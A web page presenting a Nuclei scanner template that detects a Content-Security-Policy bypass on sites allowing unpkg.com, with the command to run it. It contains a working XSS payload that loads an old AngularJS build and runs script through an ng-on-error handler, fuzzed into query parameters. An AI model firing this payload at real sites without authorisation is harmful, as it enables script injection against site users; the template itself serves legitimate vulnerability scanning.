Skip to content

Content-Security-Policy Bypass - Unpkg Angular

ID: unpkg-angular-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,unpkg-angular

id: unpkg-angular-csp-bypass
info:
name: Content-Security-Policy Bypass - Unpkg Angular
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,unpkg-angular
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "unpkg.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: unpkg_angular_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://unpkg.com/[email protected]/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "unpkg_angular_csp_xss == true"
# digest: 4a0a00473045022100a389c4cbf98995bff98587905378141083d2d049a7f0e60b8468409ff0f2d27902205d4876982a2b06be9aa006b3d81c4ec2491f36f557abadd3b8b555abb7d69d13:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/unpkg-angular-csp-bypass.yaml"

View on Github